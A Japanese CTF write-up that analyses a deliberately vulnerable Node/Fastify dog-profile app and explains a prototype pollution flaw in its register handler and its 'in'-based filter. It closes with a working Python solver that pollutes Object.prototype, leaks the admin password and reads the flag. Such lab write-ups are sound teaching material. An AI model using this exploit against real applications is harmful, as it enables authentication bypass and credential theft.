基本情報リンクをコピーしました

問題文リンクをコピーしました

犬のプロフィールを作成できるWebアプリを公開しました。

作業ログリンクをコピーしました

とりあえずコードをダウンロードして展開しよう。

.text
$ tree inu-profile/ inu-profile/ ├── compose.yaml └── web    ├── Dockerfile    ├── index.html    ├── index.js    ├── package-lock.json    └── package.json 2 directories, 6 files

一般的なDockerを使ったNodeJSプロジェクトの構成っぽい。

compose.yaml
services: inu-profile: build: ./web restart: unless-stopped init: true ports: - ${PORT:-3000}:3000 environment: - FLAG=Alpaca{REDACTED}

ここでFLAGを環境変数で仕込んでるのね。

たぶんindex.jsとかで読み込むんだろなぁ。

web/Dockerfile
FROM node:22.11.0 WORKDIR /app COPY package.json package-lock.json ./ RUN npm install COPY . . USER 404:404 CMD node index.js

Node使ってるのね。

UID/GIDが404なのは、なんか意味があるんだろうか。

非root実行ってことと404 not foundのオマージュ?まぁいいや。

package.json|package-lock.json
(省略)

あんまりnode使わないからpackage.jsonもpackage-lock.jsonも詳しくないけど、まぁ怪しいパッケージとか変な記述とかなさそうだしヨシ!

残るは本命のjsとhtmlだけど、難易度Very Hardだし問題の核心はフロントエンドよりバックエンドにあるんだろうなぁ。とりあえずjsを重点的に見て、分からなかったらhtmlも確認しよう。

web/index.js
import crypto from 'node:crypto'; import fs from 'node:fs/promises'; import fastify from 'fastify'; import fastifyCookie from '@fastify/cookie'; import fastifySession from '@fastify/session'; const PORT = process.env.PORT || 3000; const FLAG = process.env.FLAG || 'Alpaca{DUMMY}'; const app = fastify(); app.register(fastifyCookie); app.register(fastifySession, { secret: crypto.randomBytes(16).toString('hex'), cookie: { secure: false } }); const DEFAULT_PROFILE = { 'avatar': '\u{1f436}', 'description': 'bow wow!' }; let users = { admin: { password: crypto.randomBytes(16).toString('hex'), avatar: '\u{1f32d}', description: 'I am admin!' } }; const indexHtml = await fs.readFile('./index.html'); app.get('/', async (req, res) => { return res.type('text/html').send(indexHtml); }); // become admin to get the flag! app.get('/admin', async (req, res) => { const { username } = req.session; if (!req.session.hasOwnProperty('username') || username !== 'admin') { return res.send({ 'message': 'you are not an admin...' }); } return res.send({ 'message': `Congratulations! The flag is: ${FLAG}` }); }); // omit credentials function getFilteredProfile(username) { const profile = users[username]; const filteredProfile = Object.entries(profile).filter(([k]) => { return k in DEFAULT_PROFILE; // default profile has the key, so we can expose this key }); return Object.fromEntries(filteredProfile); } app.get('/profile', async (req, res) => { const { username } = req.session; if (username == null) { return res.send({ 'message': 'please log in' }); } return res.send(getFilteredProfile(username)); }); app.get('/profile/:username', async (req, res) => { const { username } = req.params; if (!users.hasOwnProperty(username)) { return res.send({ 'message': `${username} does not exist` }); } return res.send(getFilteredProfile(username)); }); app.post('/register', async (req, res) => { const { username, password, profile } = req.body; if (username == null || password == null || profile == null) { return res.send({ 'message': `username, password, or profile is not provided` }); } // no hack, please if (typeof username !== 'string' || typeof password !== 'string') { return res.send({ 'message': 'what are you doing?' }); } if (users.hasOwnProperty(username)) { return res.send({ 'message': `${username} is already registered` }); } // set default value for some keys if the profile given doesn't have it users[username] ??= { password, ...DEFAULT_PROFILE }; // okay, let's update the database for (const key in profile) { users[username][key] = profile[key]; }; req.session.username = username; return res.send({ 'message': 'ok' }); }); app.post('/login', async (req, res) => { const { username, password } = req.body; if (username == null || password == null) { return res.send({ 'message': `username, or password is not provided` }); } // no hack, please if (typeof username !== 'string' || typeof password !== 'string') { return res.send({ 'message': 'what are you doing?' }); } if (!users.hasOwnProperty(username)) { return res.send({ 'message': `${username} does not exist` }); } if (users[username].password !== password) { return res.send({ 'message': 'password does not match' }); } req.session.username = username; return res.send({ 'message': 'ok' }); }); app.listen({ port: PORT, host: '0.0.0.0' }, (err, address) => { if (err) { console.error(err); process.exit(1); } console.log(`server listening on ${address}`); });

とりあえずお目当てのFLAGが登場するのはconst FLAG = process.env.FLAG || 'Alpaca{DUMMY}';の変数宣言部とapp.get('/admin)で認証突破した時の表示か。

要するになんか悪いことをしてadminの認証を突破しろって問題か。というか「become admin to get the flag!」ってコメントで丁寧に書いてくれてるじゃん。多分コメントされてる箇所が重要な処理なんだろうな。

コメントが入ってる処理を重点的に見ていくか。

web/index.js(コメントが書かれている箇所)
// become admin to get the flag! app.get('/admin', async (req, res) => { const { username } = req.session; if (!req.session.hasOwnProperty('username') || username !== 'admin') { return res.send({ 'message': 'you are not an admin...' }); } return res.send({ 'message': `Congratulations! The flag is: ${FLAG}` }); }); //----------------省略------------------ // omit credentials function getFilteredProfile(username) { const profile = users[username]; const filteredProfile = Object.entries(profile).filter(([k]) => { return k in DEFAULT_PROFILE; // default profile has the key, so we can expose this key }); return Object.fromEntries(filteredProfile); } //----------------省略------------------ app.post('/register', async (req, res) => { const { username, password, profile } = req.body; if (username == null || password == null || profile == null) { return res.send({ 'message': `username, password, or profile is not provided` }); } // no hack, please if (typeof username !== 'string' || typeof password !== 'string') { return res.send({ 'message': 'what are you doing?' }); } if (users.hasOwnProperty(username)) { return res.send({ 'message': `${username} is already registered` }); } // set default value for some keys if the profile given doesn't have it users[username] ??= { password, ...DEFAULT_PROFILE }; // okay, let's update the database for (const key in profile) { users[username][key] = profile[key]; }; req.session.username = username; return res.send({ 'message': 'ok' }); }); //----------------省略------------------ app.post('/login', async (req, res) => { const { username, password } = req.body; if (username == null || password == null) { return res.send({ 'message': `username, or password is not provided` }); } // no hack, please if (typeof username !== 'string' || typeof password !== 'string') { return res.send({ 'message': 'what are you doing?' }); } if (!users.hasOwnProperty(username)) { return res.send({ 'message': `${username} does not exist` }); } if (users[username].password !== password) { return res.send({ 'message': 'password does not match' }); } req.session.username = username; return res.send({ 'message': 'ok' }); });

明らかにgetFilteredProfileが怪しいな。コメントも意味深だし。

新規登録とログイン、/adminへのリクエストのフローを調べてみるか。

  • 新規登録処理

    1. app.post('/register')でリクエストを受け取る。
    2. username,password,profileが空欄でなく、username,passwordが文字であることを確認。
    3. users.hasOwnProperty(username)で登録済みユーザーかどうか照合して検証。
    4. users[username]にpasswordとDEFAULT_PROFILEを合体代入演算子1で代入。
    5. リクエストのprofile内の全ての要素に対しusers[username][key]=profile[key]で代入。 ← !!
    6. usernameに紐づくcookieを付けたレスポンスを返す。
  • ログイン処理

    1. app.post('/login')でリクエストを受け取る。
    2. usernamepasswordが空でなく文字列型であることを確認。
    3. users.hasOwnProperty(username)で登録済みユーザーかどうか照合。
    4. users[username].passwordpasswordが一致することを確認。
    5. usernameに紐づくcookieを付けたレスポンスを返す。
  • /adminへのリクエスト

    1. app.get('/admin')でリクエストを受け取る。
    2. リクエストについてきたcookieからusernameを取得。
    3. usernameが存在しなかったり、adminでなかったりしないことを確認。
    4. FLAG付きのメッセージを送信。

/adminへのリクエストで認証を回避するのは難しそう。ログイン処理でadminの情報を上書きするのもできなさそう。

新規登録処理の 5. が怪しい。POSTリクエストのペイロード内のprofileを細工することで、users[username]に任意のキーが登録できる。

これでどのような悪用ができるだろうか?

───15分後

わからん!教えてGemini先生!

典型的なプロトタイプ汚染(Prototype Pollution)の脆弱性ですね。
JavaScriptのほぼすべてのオブジェクトは、Object.prototype という親オブジェクトを継承しています。

問題のコードは、profile の中身をチェックせずに users[username] にコピーしています。もし profile__proto__ という特殊なキーが含まれていた場合、アプリケーション内の全オブジェクトに影響を与える設定変更が可能になります。

ほう。そんなものが。

.js
// 攻撃者が送る profile の例 profile = { "__proto__": { "isAdmin": true } }; // 処理が実行されると... users[username]["__proto__"]["isAdmin"] = true; // これにより、Object.prototype.isAdmin が true に書き換わる

へー、初めて知った。で、これをどう使おう。

user.isAdminみたいなプロパティ無いしなぁ…

Object.prototype.username="admin"にしても、usernameキー自体すでに存在するから意味ないしなぁ。

adminのpasswordもすでに生成されてるからprototypeが無視されちゃう。

web/index.js(getFilteredProfile()の辺り)
// omit credentials function getFilteredProfile(username) { const profile = users[username]; const filteredProfile = Object.entries(profile).filter(([k]) => { return k in DEFAULT_PROFILE; // default profile has the key, so we can expose this key }); return Object.fromEntries(filteredProfile); }

そういや、意味深なコメントあったよな。

return k in DEFAULT_PROFILEだけ他の処理と違ってin使ってるのなんでだろう。
inhasOwnPropertyの違い調べてみよ。

hasOwnPropertyはそのオブジェクト自身の持っているキーのみを探すけど、inは親オブジェクトまで遡ってキーを探しに行くのか!多分これが解決の糸口だな。

.text
[Object.prototype] (すべてのオブジェクトの最上位の親) │ │ ★ここにインジェクションする! │ users["__proto__"]["password"] = "dummy" │ └── password: "dummy" (注入された偽のプロパティ) │ │ (継承) │ ├── [DEFAULT_PROFILE] │ ├── avatar: "🐶" │ └── description: "bow wow!" │ (※ここには password はないが、親を見に行くので "password" in ... は true) │ └── [users["admin"]] ├── password: "REAL_SECRET_PASSWORD" (※自身の値が優先される) ├── avatar: "🌭" └── description: "I am admin!" (※自身のプロパティがあるため、親の "dummy" は無視される = Shadowing)

つまりこういうことだ!

ユーザー名に__proto__を設定して、{"password": "dummy"}を含んだペイロードを送り込んでやれば、getFilteredProfilek in DEFAULT_PROFILEはこう動くはず。

  1. DEFAULT_PROFILE自身に"password"はある?→No
  2. 親のObject.prototypeの中に"password"はある?→Yes!
  3. じゃあtrueだね。passwordも表示する要素ってことだ。

これでフィルターがザルになってAdminのパスワードが盗める!!

最終的な解法リンクをコピーしました

solver.py
import requests import sys # 引数からURLを取得 target_url = sys.argv[1].rstrip('/') session = requests.Session() # 1. Prototype Pollution: Object.prototype.password を作成 session.post(f"{target_url}/register", json={ "username": "__proto__", "password": "pwn", "profile": {"password": "pwn"} }) # 2. Leak: 汚染された in 演算子を介して管理者のパスワードを奪取 res_profile = session.get(f"{target_url}/profile/admin").json() admin_pass = res_profile.get("password") # 3. Login & Flag: 奪取したパスワードでログインしてフラグを表示 session.post(f"{target_url}/login", json={ "username": "admin", "password": admin_pass }) print(session.get(f"{target_url}/admin").json().get("message"))

脚注

  1. 合体代入演算子:左辺がnullまたはundefinedのときだけ代入する条件付き代入操作を行う。